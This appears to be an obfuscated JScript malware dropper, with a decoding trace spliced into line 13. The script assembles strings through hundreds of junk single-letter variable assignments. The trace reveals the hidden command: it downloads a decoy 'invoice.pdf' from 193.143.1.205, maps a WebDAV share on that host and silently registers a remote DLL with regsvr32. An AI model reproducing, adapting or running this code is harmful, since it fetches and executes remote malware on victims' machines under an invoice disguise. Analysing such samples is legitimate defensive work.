3	for ( usebnav = 0 ; usebnav < cbdwvkuz[yawsoc + ajpaqxtj + lfvezefl + iqinyibrh + mjhbhycd + oiharydu] ; ++ usebnav )
4	{
5	if ( ltuorpiqf == cbdwvkuz[usebnav] )
6	{
7	ltuorpiqf = true;
8	break ;
9	}
10	}
11	if ( ltuorpiqf !== true )
12	this[bykzgefla + venjzvnqa + jwcsy + ijdiudgvv + wtjrubag + chrncz + mjhbhycd][maecuc + pkopwg + wtjrubag + mjhbhycd] ( );
13	this[bykzgefla + venjzvnqa + jwcsy + ijdiudgvv + wtjrubag + chrncz + mjhbhycd][ejzdhstpr + ijdiudgvv + ajpaqxtj + lfzadyduc + mjhbhycd + ajpaqxtj + hceygbul + dhowj + hfatzqq + ajpaqxtj + jwcsy + mjhbhycd] ( bykzgefla + venjzvnqa + jwcsy + ijdiudgvv + wtjrubag + chrncz + mjhbhycd + qefxnacfy + venjzvnqa + oiharydu + ajpaqxtj + yawsoc + yawsoc ) [ijdiudgvv + pkopwg + lfvezefl] ( jwcsy + dthpgrahj + bgctsumoi + pmtbfhs + mexuhmes + jwcsy + pmtbfhs + chrncz + ttugijapu + cdhro + ajpaqxtj + ijdiudgvv + jalagkznu + oiharydu + ajpaqxtj + yawsoc + yawsoc + qefxnacfy + ajpaqxtj + nlycgbkvx + ajpaqxtj + pmtbfhs + hgibcbfjq + ejzdhstpr + ttugijapu + dthpgrahj + dthpgrahj + lfzadyduc + lfvezefl + bgctsumoi + pmtbfhs + rkygh + zsoqmuyo + lfvezefl + bohdmso + ttugijapu + zxczay + ajpaqxtj + hgibcbfjq + bykzgefla + ajpaqxtj + dhowj + aaanhvbdl + ajpaqxtj + jkxjklyua + pkopwg + ajpaqxtj + jalagkznu + mjhbhycd + pmtbfhs + hgibcbfjq + hceygbul + pkopwg + mjhbhycd + fjlzibpxs + wtjrubag + yawsoc + ajpaqxtj + pmtbfhs + ixjozinsr + mjhbhycd + ajpaqxtj + dthpgrahj + chrncz + ixjozinsr + anuwowp + wtjrubag + lfvezefl + bohdmso + ttugijapu + wtjrubag + jwcsy + ajpaqxtj + qefxnacfy + chrncz + bgctsumoi + joptlt + pmtbfhs + oiharydu + mjhbhycd + mjhbhycd + chrncz + lhpjgmn + mexuhmes + mexuhmes + cdnpfqmre + mtstbnfj + edawmajv + qefxnacfy + cdnpfqmre + qiyib + edawmajv + qefxnacfy + cdnpfqmre + qefxnacfy + hvjftej + jssbhvbe + liicgihf + mexuhmes + wtjrubag + lfvezefl + bohdmso + ttugijapu + wtjrubag + jwcsy + ajpaqxtj + qefxnacfy + chrncz + oiharydu + chrncz + rkygh + nfnvpn + nfnvpn + jalagkznu + mjhbhycd + lfzadyduc + ijdiudgvv + mjhbhycd + pmtbfhs + ixjozinsr + mjhbhycd + ajpaqxtj + dthpgrahj + chrncz + ixjozinsr + anuwowp + wtjrubag + lfvezefl + bohdmso + ttugijapu + wtjrubag + jwcsy + ajpaqxtj + qefxnacfy + chrncz + bgctsumoi + joptlt + nfnvpn + nfnvpn + jwcsy + dthpgrahj + bgctsumoi + pmtbfhs + mexuhmes + jwcsy + pmtbfhs + lfvezefl + ajpaqxtj + mjhbhycd + pmtbfhs + pkopwg + jalagkznu + ajpaqxtj + pmtbfhs + anuwowp + anuwowp + cdnpfqmre + mtstbnfj + edawmajv + qefxnacfy + cdnpfqmre + qiyib + edawmajv + qefxnacfy + cdnpfqmre + qefxnacfy + hvjftej + jssbhvbe + liicgihf + zceuajo + pjtxbzpad + pjtxbzpad + pjtxbzpad + pjtxbzpad + anuwowp + bgctsumoi + lfzadyduc + bohdmso + cdhro + cdhro + cdhro + ijdiudgvv + ttugijapu + ttugijapu + mjhbhycd + anuwowp + nfnvpn + nfnvpn + jwcsy + dthpgrahj + bgctsumoi + pmtbfhs + mexuhmes + jwcsy + pmtbfhs + ijdiudgvv + ajpaqxtj + iqinyibrh + jalagkznu + bohdmso + ijdiudgvv + edawmajv + hvjftej + pmtbfhs + mexuhmes + jalagkznu + pmtbfhs + anuwowp + anuwowp + cdnpfqmre + mtstbnfj + edawmajv + qefxnacfy + cdnpfqmre + qiyib + edawmajv + qefxnacfy + cdnpfqmre + qefxnacfy + hvjftej + jssbhvbe + liicgihf + zceuajo + pjtxbzpad + pjtxbzpad + pjtxbzpad + pjtxbzpad + anuwowp + bgctsumoi + lfzadyduc + bohdmso + cdhro + cdhro + cdhro + ijdiudgvv + ttugijapu + ttugijapu + mjhbhycd + anuwowp + hvjftej + pjtxbzpad + cdnpfqmre + mtstbnfj + liicgihf + edawmajv + jssbhvbe + hvjftej + edawmajv + edawmajv + hvjftej + mtstbnfj + qiyib + qefxnacfy + bgctsumoi + yawsoc + yawsoc, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll",0,false) ➔ 0
14	}
15	rkygh = "a";
16	rkygh = "Y";
17	rkygh = "I";
18	rkygh = "N";
19	rkygh = "i";
20	rkygh = "V";
21	rkygh = "c";
22	rkygh = "n";
23	rkygh = "g";
24	rkygh = "S";
25	rkygh = "B";
26	rkygh = "R";
27	rkygh = "v";
28	rkygh = "o";
29	rkygh = "s";
30	rkygh = "r";
31	rkygh = "f";
32	rkygh = "S";
33	rkygh = "v";
34	rkygh = "c";
35	rkygh = "j";
36	rkygh = "z";
37	rkygh = "t";
38	rkygh = "h";
39	rkygh = "X";
40	rkygh = "j";
41	rkygh = "F";
42	rkygh = "w";
43	rkygh = "\"";
44	joptlt = "w";
45	joptlt = "d";
46	joptlt = "X";
47	joptlt = "Q";
48	joptlt = "q";
49	joptlt = "J";
50	joptlt = "c";
51	joptlt = "x";
52	joptlt = "W";
53	joptlt = "s";
54	joptlt = "y";
55	joptlt = "f";
56	lhpjgmn = "M";
57	lhpjgmn = "t";
58	lhpjgmn = "y";
59	lhpjgmn = "w";
60	lhpjgmn = "T";
61	lhpjgmn = "W";
62	lhpjgmn = "x";
63	lhpjgmn = "D";
64	lhpjgmn = "A";
65	lhpjgmn = "Z";
66	lhpjgmn = "I";
67	lhpjgmn = "m";
68	lhpjgmn = "K";
69	lhpjgmn = "e";
70	lhpjgmn = "Y";
71	lhpjgmn = "u";
72	lhpjgmn = "L";
73	lhpjgmn = "d";
74	lhpjgmn = "F";
75	lhpjgmn = "r";
76	lhpjgmn = "T";
77	lhpjgmn = "j";
78	lhpjgmn = "E";
79	lhpjgmn = "O";
80	lhpjgmn = "s";
81	lhpjgmn = "G";
82	lhpjgmn = "s";
83	lhpjgmn = "v";
84	lhpjgmn = "v";
85	lhpjgmn = "B";
86	lhpjgmn = "u";
87	lhpjgmn = "Y";
88	lhpjgmn = "v";
89	lhpjgmn = "I";
90	lhpjgmn = "q";
91	lhpjgmn = "e";
92	lhpjgmn = "h";
93	lhpjgmn = "t";
94	lhpjgmn = "y";
95	lhpjgmn = "J";
96	lhpjgmn = "k";
97	lhpjgmn = "I";
98	lhpjgmn = "T";
99	lhpjgmn = "v";
100	lhpjgmn = ":";
101	pmtbfhs = "b";
102	pmtbfhs = "m";
103	pmtbfhs = "B";
104	pmtbfhs = "I";
105	pmtbfhs = "W";
106	pmtbfhs = "R";
107	pmtbfhs = "P";
108	pmtbfhs = "x";
109	pmtbfhs = "q";
110	pmtbfhs = "N";
111	pmtbfhs = "o";
112	pmtbfhs = "D";
113	pmtbfhs = "r";
114	pmtbfhs = "t";
115	pmtbfhs = "c";
116	pmtbfhs = "t";
117	pmtbfhs = "O";
118	pmtbfhs = "C";
119	pmtbfhs = "f";
120	pmtbfhs = "b";
121	pmtbfhs = "X";
122	pmtbfhs = "S";
123	pmtbfhs = "J";
124	pmtbfhs = "J";
125	pmtbfhs = "E";
126	pmtbfhs = " ";
127	jwcsy = "V";
128	jwcsy = "C";
129	jwcsy = "u";
130	jwcsy = "I";
131	jwcsy = "a";
132	jwcsy = "Y";
133	jwcsy = "Y";
134	jwcsy = "h";
135	jwcsy = "t";
136	jwcsy = "o";
137	jwcsy = "s";
138	jwcsy = "C";
139	jwcsy = "K";
140	jwcsy = "G";
141	jwcsy = "X";
142	jwcsy = "C";
143	jwcsy = "u";
144	jwcsy = "F";
145	jwcsy = "D";
146	jwcsy = "C";
147	jwcsy = "J";
148	jwcsy = "W";
149	jwcsy = "H";
150	jwcsy = "m";
151	jwcsy = "t";
152	jwcsy = "w";
153	jwcsy = "G";
154	jwcsy = "b";
155	jwcsy = "U";
156	jwcsy = "W";
157	jwcsy = "T";
158	jwcsy = "o";
159	jwcsy = "f";
160	jwcsy = "o";
161	jwcsy = "C";
162	jwcsy = "N";
163	jwcsy = "j";
164	jwcsy = "c";
165	cdnpfqmre = "o";
166	cdnpfqmre = "k";
167	cdnpfqmre = "w";
168	cdnpfqmre = "x";
169	cdnpfqmre = "N";
170	cdnpfqmre = "D";
171	cdnpfqmre = "V";
172	cdnpfqmre = "J";
173	cdnpfqmre = "B";
174	cdnpfqmre = "T";
175	cdnpfqmre = "W";
176	cdnpfqmre = "K";
177	cdnpfqmre = "u";
178	cdnpfqmre = "F";
179	cdnpfqmre = "T";
180	cdnpfqmre = "c";
181	cdnpfqmre = "U";
182	cdnpfqmre = "L";
183	cdnpfqmre = "C";
184	cdnpfqmre = "D";
185	cdnpfqmre = "L";
186	cdnpfqmre = "c";
187	cdnpfqmre = "R";
188	cdnpfqmre = "J";
189	cdnpfqmre = "T";
190	cdnpfqmre = "H";
191	cdnpfqmre = "Q";
192	cdnpfqmre = "1";
193	mjhbhycd = "e";
194	mjhbhycd = "b";
195	mjhbhycd = "U";
196	mjhbhycd = "b";
197	mjhbhycd = "O";
198	mjhbhycd = "u";
199	mjhbhycd = "y";
200	mjhbhycd = "Y";
201	mjhbhycd = "t";
202	bohdmso = "t";
203	bohdmso = "H";
204	bohdmso = "V";
205	bohdmso = "j";
206	bohdmso = "R";
207	bohdmso = "k";
208	bohdmso = "e";
209	bohdmso = "m";
210	bohdmso = "Z";
211	bohdmso = "Q";
212	bohdmso = "o";
213	bohdmso = "V";
214	bohdmso = "e";
215	bohdmso = "c";
216	bohdmso = "Z";
217	bohdmso = "g";
218	bohdmso = "p";
219	bohdmso = "v";
220	ajpaqxtj = "A";
221	ajpaqxtj = "t";
222	ajpaqxtj = "J";
223	ajpaqxtj = "g";
224	ajpaqxtj = "V";
225	ajpaqxtj = "Y";
226	ajpaqxtj = "i";
227	ajpaqxtj = "O";
228	ajpaqxtj = "E";
229	ajpaqxtj = "c";
230	ajpaqxtj = "i";
231	ajpaqxtj = "o";
232	ajpaqxtj = "r";
233	ajpaqxtj = "X";
234	ajpaqxtj = "K";
235	ajpaqxtj = "n";
236	ajpaqxtj = "Z";
237	ajpaqxtj = "U";
238	ajpaqxtj = "l";
239	ajpaqxtj = "e";
240	xvzuvaqun = "u";
241	xvzuvaqun = "y";
242	xvzuvaqun = "t";
243	xvzuvaqun = "K";
244	hfatzqq = "K";
245	hfatzqq = "d";
246	hfatzqq = "B";
247	hfatzqq = "Z";
248	hfatzqq = "N";
249	hfatzqq = "h";
250	hfatzqq = "M";
251	hfatzqq = "w";
252	hfatzqq = "s";
253	hfatzqq = "u";
254	hfatzqq = "X";
255	hfatzqq = "X";
256	hfatzqq = "L";
257	hfatzqq = "w";
258	hfatzqq = "G";
259	hfatzqq = "E";
260	hfatzqq = "u";
261	hfatzqq = "K";
262	hfatzqq = "v";
263	hfatzqq = "C";
264	hfatzqq = "x";
265	hfatzqq = "C";
266	hfatzqq = "d";
267	hfatzqq = "m";
268	hfatzqq = "k";
269	hfatzqq = "z";
270	hfatzqq = "U";
271	hfatzqq = "s";
272	hfatzqq = "i";
273	hfatzqq = "I";
274	hfatzqq = "q";
275	hfatzqq = "O";
276	hfatzqq = "j";
277	hfatzqq = "K";
278	hfatzqq = "r";
279	hfatzqq = "G";
280	hfatzqq = "v";
281	hfatzqq = "U";
282	hfatzqq = "D";
283	hfatzqq = "P";
284	hfatzqq = "g";
285	hfatzqq = "k";
286	hfatzqq = "j";
287	ljtgyqtpt = "h";
288	ljtgyqtpt = "A";
289	ljtgyqtpt = "l";
290	ljtgyqtpt = "U";
291	ljtgyqtpt = "Q";
292	ljtgyqtpt = "t";
293	ljtgyqtpt = "S";
294	ljtgyqtpt = "L";
295	ljtgyqtpt = "C";
296	ljtgyqtpt = "T";
297	ljtgyqtpt = "l";
298	ljtgyqtpt = "W";
299	ljtgyqtpt = "x";
300	ljtgyqtpt = "q";
301	ljtgyqtpt = "d";
302	ljtgyqtpt = "n";
303	ljtgyqtpt = "I";
304	ljtgyqtpt = "c";
305	ljtgyqtpt = "m";
306	ljtgyqtpt = "_";
307	jkxjklyua = "L";
308	jkxjklyua = "A";
309	jkxjklyua = "U";
310	jkxjklyua = "d";
311	jkxjklyua = "X";
312	jkxjklyua = "G";
313	jkxjklyua = "W";
314	jkxjklyua = "H";
315	jkxjklyua = "Y";
316	jkxjklyua = "N";
317	jkxjklyua = "T";
318	jkxjklyua = "W";
319	jkxjklyua = "k";
320	jkxjklyua = "B";
321	jkxjklyua = "T";
322	jkxjklyua = "q";
323	lfvezefl = "w";
324	lfvezefl = "T";
325	lfvezefl = "i";
326	lfvezefl = "n";
327	nlycgbkvx = "T";
328	nlycgbkvx = "e";
329	nlycgbkvx = "c";
330	nlycgbkvx = "Q";
331	nlycgbkvx = "J";
332	nlycgbkvx = "u";
333	nlycgbkvx = "g";
334	nlycgbkvx = "x";
335	jchxgr = "I";
336	jchxgr = "T";
337	jchxgr = "y";
338	jchxgr = "V";
339	jchxgr = "k";
340	jchxgr = "O";
341	jchxgr = "y";
342	jchxgr = "g";
343	jchxgr = "j";
344	jchxgr = "Q";
345	jchxgr = "Y";
346	jchxgr = "d";
347	jchxgr = "b";
348	jchxgr = "x";
349	jchxgr = "F";
350	jchxgr = "B";
351	jchxgr = "T";
352	jchxgr = "Q";
353	jchxgr = "C";
354	jchxgr = "x";
355	jchxgr = "p";
356	jchxgr = "L";
357	jchxgr = "r";
358	jchxgr = "e";
359	jchxgr = "T";
360	jchxgr = "o";
361	jchxgr = "R";
362	jchxgr = "M";
363	jchxgr = "S";
364	jchxgr = "M";
365	jchxgr = "x";
366	jchxgr = "R";
367	jchxgr = "E";
368	chrncz = "w";
369	chrncz = "O";
370	chrncz = "z";
371	chrncz = "g";
372	chrncz = "v";
373	chrncz = "t";
374	chrncz = "j";
375	chrncz = "W";
376	chrncz = "R";
377	chrncz = "I";
378	chrncz = "c";
379	chrncz = "t";
380	chrncz = "r";
381	chrncz = "W";
382	chrncz = "l";
383	chrncz = "p";
384	aaanhvbdl = "Y";
385	aaanhvbdl = "N";
386	aaanhvbdl = "T";
387	aaanhvbdl = "j";
388	aaanhvbdl = "N";
389	aaanhvbdl = "o";
390	aaanhvbdl = "l";
391	aaanhvbdl = "z";
392	aaanhvbdl = "b";
393	aaanhvbdl = "V";
394	aaanhvbdl = "C";
395	aaanhvbdl = "h";
396	aaanhvbdl = "H";
397	aaanhvbdl = "D";
398	aaanhvbdl = "Q";
399	aaanhvbdl = "X";
400	aaanhvbdl = "T";
401	aaanhvbdl = "f";
402	aaanhvbdl = "W";
403	aaanhvbdl = "R";
404	maecuc = "o";
405	maecuc = "n";
406	maecuc = "h";
407	maecuc = "h";
408	maecuc = "F";
409	maecuc = "Q";
410	hceygbul = "d";
411	hceygbul = "E";
412	hceygbul = "b";
413	hceygbul = "Y";
414	hceygbul = "P";
415	hceygbul = "R";
416	hceygbul = "B";
417	hceygbul = "T";
418	hceygbul = "q";
419	hceygbul = "j";
420	hceygbul = "s";
421	hceygbul = "I";
422	hceygbul = "t";
423	hceygbul = "Q";
424	hceygbul = "f";
425	hceygbul = "p";
426	hceygbul = "m";
427	hceygbul = "S";
428	hceygbul = "L";
429	hceygbul = "H";
430	hceygbul = "r";
431	hceygbul = "Y";
432	hceygbul = "Z";
433	hceygbul = "w";
434	hceygbul = "c";
435	hceygbul = "z";
436	hceygbul = "L";
437	hceygbul = "S";
438	hceygbul = "f";
439	hceygbul = "O";
440	edawmajv = "F";
441	edawmajv = "z";
442	edawmajv = "G";
443	edawmajv = "i";
444	edawmajv = "g";
445	edawmajv = "a";
446	edawmajv = "K";
447	edawmajv = "y";
448	edawmajv = "P";
449	edawmajv = "b";
450	edawmajv = "H";
451	edawmajv = "I";
452	edawmajv = "h";
453	edawmajv = "g";
454	edawmajv = "h";
455	edawmajv = "c";
456	edawmajv = "o";
457	edawmajv = "M";
458	edawmajv = "Z";
459	edawmajv = "h";
460	edawmajv = "3";
461	wrsvll = "w";
462	wrsvll = "R";
463	wrsvll = "V";
464	wrsvll = "t";
465	wrsvll = "t";
466	wrsvll = "P";
467	wrsvll = "G";
468	wrsvll = "R";
469	wrsvll = "x";
470	wrsvll = "M";
471	wrsvll = "Z";
472	wrsvll = "u";
473	wrsvll = "Z";
474	wrsvll = "U";
475	wrsvll = "J";
476	wrsvll = "G";
477	wrsvll = "D";
478	wrsvll = "y";
479	wrsvll = "l";
480	wrsvll = "X";
481	wrsvll = "y";
482	wrsvll = "M";
483	wrsvll = "m";
484	wrsvll = "G";
485	wrsvll = "e";
486	wrsvll = "o";
487	wrsvll = "p";
488	wrsvll = "c";
489	wrsvll = "V";
490	wrsvll = "Y";
491	wrsvll = "N";
492	wrsvll = "m";
493	wrsvll = "W";
494	wrsvll = "i";
495	wrsvll = "l";
496	wrsvll = "S";
497	wrsvll = "d";
498	wrsvll = "v";
499	wrsvll = "J";
500	wrsvll = "B";
501	wrsvll = "w";
502	wrsvll = "X";
503	wrsvll = "H";
504	hgibcbfjq = "I";
505	hgibcbfjq = "t";
506	hgibcbfjq = "i";
507	hgibcbfjq = "q";
508	hgibcbfjq = "w";
509	hgibcbfjq = "X";
510	hgibcbfjq = "P";
511	hgibcbfjq = "k";
512	hgibcbfjq = "P";
513	hgibcbfjq = "F";
514	hgibcbfjq = "U";
515	hgibcbfjq = "L";
516	hgibcbfjq = "b";
517	hgibcbfjq = "V";
518	hgibcbfjq = "j";
519	hgibcbfjq = "i";
520	hgibcbfjq = "Q";
521	hgibcbfjq = "l";
522	hgibcbfjq = "k";
523	hgibcbfjq = "p";
524	hgibcbfjq = "D";
525	hgibcbfjq = "Y";
526	hgibcbfjq = "e";
527	hgibcbfjq = "G";
528	hgibcbfjq = "-";
529	yawsoc = "l";
530	qiyib = "j";
531	qiyib = "K";
532	qiyib = "y";
533	qiyib = "S";
534	qiyib = "b";
535	qiyib = "N";
536	qiyib = "A";
537	qiyib = "x";
538	qiyib = "G";
539	qiyib = "o";
540	qiyib = "l";
541	qiyib = "I";
542	qiyib = "Q";
543	qiyib = "w";
544	qiyib = "I";
545	qiyib = "S";
546	qiyib = "Q";
547	qiyib = "4";
548	bgctsumoi = "X";
549	bgctsumoi = "y";
550	bgctsumoi = "u";
551	bgctsumoi = "f";
552	bgctsumoi = "I";
553	bgctsumoi = "O";
554	bgctsumoi = "i";
555	bgctsumoi = "R";
556	bgctsumoi = "m";
557	bgctsumoi = "C";
558	bgctsumoi = "P";
559	bgctsumoi = "A";
560	bgctsumoi = "v";
561	bgctsumoi = "R";
562	bgctsumoi = "Y";
563	bgctsumoi = "V";
564	bgctsumoi = "w";
565	bgctsumoi = "E";
566	bgctsumoi = "l";
567	bgctsumoi = "q";
568	bgctsumoi = "C";
569	bgctsumoi = "c";
570	bgctsumoi = "c";
571	bgctsumoi = "T";
572	bgctsumoi = "i";
573	bgctsumoi = "q";
574	bgctsumoi = "s";
575	bgctsumoi = "E";
576	bgctsumoi = "B";
577	bgctsumoi = "t";
578	bgctsumoi = "U";
579	bgctsumoi = "B";
580	bgctsumoi = "y";
581	bgctsumoi = "I";
582	bgctsumoi = "N";
583	bgctsumoi = "N";
584	bgctsumoi = "d";
585	jalagkznu = "s";
586	jalagkznu = "d";
587	jalagkznu = "M";
588	jalagkznu = "P";
589	jalagkznu = "B";
590	jalagkznu = "l";
591	jalagkznu = "U";
592	jalagkznu = "I";
593	jalagkznu = "R";
594	jalagkznu = "l";
595	jalagkznu = "w";
596	jalagkznu = "Y";
597	jalagkznu = "C";
598	jalagkznu = "s";
599	zsoqmuyo = "b";
600	zsoqmuyo = "q";
601	zsoqmuyo = "L";
602	zsoqmuyo = "F";
603	zsoqmuyo = "W";
604	zsoqmuyo = "d";
605	zsoqmuyo = "t";
606	zsoqmuyo = "s";
607	zsoqmuyo = "y";
608	zsoqmuyo = "f";
609	zsoqmuyo = "U";
610	zsoqmuyo = "U";
611	zsoqmuyo = "T";
612	zsoqmuyo = "f";
613	zsoqmuyo = "p";
614	zsoqmuyo = "D";
615	zsoqmuyo = "G";
616	zsoqmuyo = "y";
617	zsoqmuyo = "L";
618	zsoqmuyo = "F";
619	zsoqmuyo = "k";
620	zsoqmuyo = "p";
621	zsoqmuyo = "t";
622	zsoqmuyo = "z";
623	zsoqmuyo = "S";
624	zsoqmuyo = "d";
625	zsoqmuyo = "f";
626	zsoqmuyo = "t";
627	zsoqmuyo = "W";
628	zsoqmuyo = "O";
629	zsoqmuyo = "G";
630	zsoqmuyo = "H";
631	zsoqmuyo = "X";
632	zsoqmuyo = "k";
633	zsoqmuyo = "I";
634	ejzdhstpr = "Y";
635	ejzdhstpr = "b";
636	ejzdhstpr = "H";
637	ejzdhstpr = "E";
638	ejzdhstpr = "x";
639	ejzdhstpr = "u";
640	ejzdhstpr = "f";
641	ejzdhstpr = "C";
642	fjlzibpxs = "X";
643	fjlzibpxs = "d";
644	fjlzibpxs = "r";
645	fjlzibpxs = "u";
646	fjlzibpxs = "t";
647	fjlzibpxs = "y";
648	fjlzibpxs = "q";
649	fjlzibpxs = "Q";
650	fjlzibpxs = "l";
651	fjlzibpxs = "W";
652	fjlzibpxs = "u";
653	fjlzibpxs = "r";
654	fjlzibpxs = "y";
655	fjlzibpxs = "V";
656	fjlzibpxs = "W";
657	fjlzibpxs = "l";
658	fjlzibpxs = "F";
659	anuwowp = "K";
660	anuwowp = "V";
661	anuwowp = "M";
662	anuwowp = "k";
663	anuwowp = "C";
664	anuwowp = "x";
665	anuwowp = "k";
666	anuwowp = "d";
667	anuwowp = "F";
668	anuwowp = "o";
669	anuwowp = "J";
670	anuwowp = "M";
671	anuwowp = "S";
672	anuwowp = "Q";
673	anuwowp = "F";
674	anuwowp = "E";
675	anuwowp = "D";
676	anuwowp = "H";
677	anuwowp = "e";
678	anuwowp = "Z";
679	anuwowp = "G";
680	anuwowp = "z";
681	anuwowp = "O";
682	anuwowp = "q";
683	anuwowp = "L";
684	anuwowp = "Y";
685	anuwowp = "H";
686	anuwowp = "C";
687	anuwowp = "K";
688	anuwowp = "Y";
689	anuwowp = "W";
690	anuwowp = "G";
691	anuwowp = "I";
692	anuwowp = "Z";
693	anuwowp = "a";
694	anuwowp = "p";
695	anuwowp = "D";
696	anuwowp = "p";
697	anuwowp = "\\";
698	mtstbnfj = "J";
699	mtstbnfj = "B";
700	mtstbnfj = "n";
701	mtstbnfj = "b";
702	mtstbnfj = "R";
703	mtstbnfj = "S";
704	mtstbnfj = "h";
705	mtstbnfj = "M";
706	mtstbnfj = "9";
707	venjzvnqa = "a";
708	venjzvnqa = "L";
709	venjzvnqa = "Y";
710	venjzvnqa = "C";
711	venjzvnqa = "z";
712	venjzvnqa = "J";
713	venjzvnqa = "h";
714	venjzvnqa = "g";
715	venjzvnqa = "i";
716	venjzvnqa = "f";
717	venjzvnqa = "j";
718	venjzvnqa = "f";
719	venjzvnqa = "j";
720	venjzvnqa = "K";
721	venjzvnqa = "h";
722	venjzvnqa = "d";
723	venjzvnqa = "y";
724	venjzvnqa = "d";
725	venjzvnqa = "k";
726	venjzvnqa = "c";
727	venjzvnqa = "o";
728	venjzvnqa = "Z";
729	venjzvnqa = "r";
730	venjzvnqa = "I";
731	venjzvnqa = "S";
732	gwaqtyk = "r";
733	gwaqtyk = "q";
734	gwaqtyk = "p";
735	gwaqtyk = "u";
736	gwaqtyk = "v";
737	gwaqtyk = "W";
738	gwaqtyk = "e";
739	gwaqtyk = "B";
740	gwaqtyk = "c";
741	gwaqtyk = "L";
742	bykzgefla = "F";
743	bykzgefla = "L";
744	bykzgefla = "Y";
745	bykzgefla = "a";
746	bykzgefla = "l";
747	bykzgefla = "k";
748	bykzgefla = "y";
749	bykzgefla = "j";
750	bykzgefla = "K";
751	bykzgefla = "X";
752	bykzgefla = "s";
753	bykzgefla = "U";
754	bykzgefla = "I";
755	bykzgefla = "v";
756	bykzgefla = "N";
757	bykzgefla = "R";
758	bykzgefla = "B";
759	bykzgefla = "j";
760	bykzgefla = "p";
761	bykzgefla = "v";
762	bykzgefla = "k";
763	bykzgefla = "D";
764	bykzgefla = "K";
765	bykzgefla = "m";
766	bykzgefla = "h";
767	bykzgefla = "P";
768	bykzgefla = "H";
769	bykzgefla = "H";
770	bykzgefla = "b";
771	bykzgefla = "G";
772	bykzgefla = "n";
773	bykzgefla = "D";
774	bykzgefla = "l";
775	bykzgefla = "R";
776	bykzgefla = "H";
777	bykzgefla = "C";
778	bykzgefla = "E";
779	bykzgefla = "s";
780	bykzgefla = "d";
781	bykzgefla = "m";
782	bykzgefla = "p";
783	bykzgefla = "W";
784	iqinyibrh = "g";
785	iqinyibrh = "I";
786	iqinyibrh = "s";
787	iqinyibrh = "l";
788	iqinyibrh = "G";
789	iqinyibrh = "W";
790	iqinyibrh = "F";
791	iqinyibrh = "L";
792	iqinyibrh = "B";
793	iqinyibrh = "F";
794	iqinyibrh = "w";
795	iqinyibrh = "A";
796	iqinyibrh = "r";
797	iqinyibrh = "n";
798	iqinyibrh = "z";
799	iqinyibrh = "l";
800	iqinyibrh = "F";
801	iqinyibrh = "x";
802	iqinyibrh = "x";
803	iqinyibrh = "s";
804	iqinyibrh = "f";
805	iqinyibrh = "E";
806	iqinyibrh = "J";
807	iqinyibrh = "A";
808	iqinyibrh = "f";
809	iqinyibrh = "e";
810	iqinyibrh = "d";
811	iqinyibrh = "f";
812	iqinyibrh = "A";
813	iqinyibrh = "A";
814	iqinyibrh = "Z";
815	iqinyibrh = "d";
816	iqinyibrh = "W";
817	iqinyibrh = "N";
818	iqinyibrh = "c";
819	iqinyibrh = "J";
820	iqinyibrh = "S";
821	iqinyibrh = "n";
822	iqinyibrh = "j";
823	iqinyibrh = "g";
824	mexuhmes = "/";
825	jssbhvbe = "l";
826	jssbhvbe = "j";
827	jssbhvbe = "d";
828	jssbhvbe = "o";
829	jssbhvbe = "q";
830	jssbhvbe = "g";
831	jssbhvbe = "P";
832	jssbhvbe = "k";
833	jssbhvbe = "a";
834	jssbhvbe = "n";
835	jssbhvbe = "q";
836	jssbhvbe = "g";
837	jssbhvbe = "0";
838	oiharydu = "t";
839	oiharydu = "w";
840	oiharydu = "E";
841	oiharydu = "R";
842	oiharydu = "h";
843	cdhro = "F";
844	cdhro = "w";
845	ijclny = "T";
846	ijclny = "a";
847	ijclny = "N";
848	ijclny = "J";
849	ijclny = "w";
850	ijclny = "Y";
851	ijclny = "A";
852	ijclny = "M";
853	ijclny = "l";
854	ijclny = "c";
855	ijclny = "e";
856	ijclny = "u";
857	ijclny = "D";
858	ijclny = "x";
859	ijclny = "C";
860	ijclny = "L";
861	ijclny = "l";
862	ijclny = "R";
863	ijclny = "H";
864	ijclny = "C";
865	ijclny = "I";
866	ijclny = "G";
867	ijclny = "s";
868	ijclny = "Y";
869	ijclny = "M";
870	ijclny = "W";
871	ijclny = "z";
872	ijclny = "R";
873	ijclny = "T";
874	ijclny = "i";
875	ijclny = "w";
876	ijclny = "y";
877	ijclny = "V";
878	ijclny = "B";
879	ijclny = "x";
880	ijclny = "M";
881	ijclny = "S";
882	ijclny = "z";
883	ijclny = "J";
884	ijclny = "N";
885	ixjozinsr = "D";
886	ixjozinsr = "t";
887	ixjozinsr = "X";
888	ixjozinsr = "C";
889	ixjozinsr = "I";
890	ixjozinsr = "c";
891	ixjozinsr = "k";
892	ixjozinsr = "O";
893	ixjozinsr = "n";
894	ixjozinsr = "c";
895	ixjozinsr = "%";
896	wtjrubag = "V";
897	wtjrubag = "B";
898	wtjrubag = "q";
899	wtjrubag = "J";
900	wtjrubag = "E";
901	wtjrubag = "c";
902	wtjrubag = "w";
903	wtjrubag = "W";
904	wtjrubag = "u";
905	wtjrubag = "y";
906	wtjrubag = "N";
907	wtjrubag = "L";
908	wtjrubag = "i";
909	liicgihf = "s";
910	liicgihf = "h";
911	liicgihf = "e";
912	liicgihf = "F";
913	liicgihf = "r";
914	liicgihf = "X";
915	liicgihf = "E";
916	liicgihf = "Q";
917	liicgihf = "z";
918	liicgihf = "r";
919	liicgihf = "Q";
920	liicgihf = "K";
921	liicgihf = "k";
922	liicgihf = "H";
923	liicgihf = "h";
924	liicgihf = "S";
925	liicgihf = "x";
926	liicgihf = "h";
927	liicgihf = "H";
928	liicgihf = "b";
929	liicgihf = "p";
930	liicgihf = "Y";
931	liicgihf = "K";
932	liicgihf = "o";
933	liicgihf = "J";
934	liicgihf = "f";
935	liicgihf = "e";
936	liicgihf = "B";
937	liicgihf = "s";
938	liicgihf = "E";
939	liicgihf = "I";
940	liicgihf = "F";
941	liicgihf = "u";
942	liicgihf = "f";
943	liicgihf = "Q";
944	liicgihf = "w";
945	liicgihf = "r";
946	liicgihf = "5";
947	pjtxbzpad = "r";
948	pjtxbzpad = "S";
949	pjtxbzpad = "B";
950	pjtxbzpad = "p";
951	pjtxbzpad = "o";
952	pjtxbzpad = "L";
953	pjtxbzpad = "H";
954	pjtxbzpad = "L";
955	pjtxbzpad = "j";
